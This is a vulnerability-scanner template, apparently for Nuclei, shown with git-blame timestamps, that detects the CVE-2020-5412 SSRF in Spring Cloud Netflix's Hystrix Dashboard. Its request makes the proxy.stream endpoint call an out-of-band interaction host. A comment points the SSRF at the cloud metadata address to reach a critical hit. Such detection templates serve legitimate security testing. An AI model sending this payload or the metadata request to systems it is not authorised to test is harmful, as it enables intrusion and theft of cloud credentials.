2021-01-02 04:56:15 +00:00
id : CVE-2020-5412
2020-09-01 13:24:39 +00:00
info :
2020-09-01 13:26:37 +00:00
name : Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
2020-09-01 13:24:39 +00:00
author : dwisiswant0
2020-09-01 13:25:49 +00:00
severity : medium
2020-09-01 13:24:39 +00:00
description : Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
2021-02-05 19:44:41 +00:00
tags : cve,cve2020,ssrf,springcloud
2021-03-22 08:51:39 +00:00
reference : https://tanzu.vmware.com/security/cve-2020-5412
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 6.50
cve-id : CVE-2020-5412
cwe-id : CWE-610
2020-09-01 13:24:39 +00:00
requests :
- method : GET
path :
2022-03-22 06:02:56 +00:00
- "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"
2020-09-01 13:32:57 +00:00
# To get crithit, try http://169.254.169.254/latest/metadata/
2020-09-01 13:24:39 +00:00
matchers-condition : and
matchers :
- type : word
2022-03-22 05:55:29 +00:00
part : interactsh_protocol
2020-09-01 13:24:39 +00:00
words :
2022-03-22 05:55:29 +00:00
- "http"
2020-09-01 13:24:39 +00:00
- type : word
2022-03-22 05:55:29 +00:00
part : header
2020-09-01 13:24:39 +00:00
words :
- "Jelly"
2022-03-22 05:55:29 +00:00
2020-09-01 13:24:39 +00:00
- type : status
status :
- 200
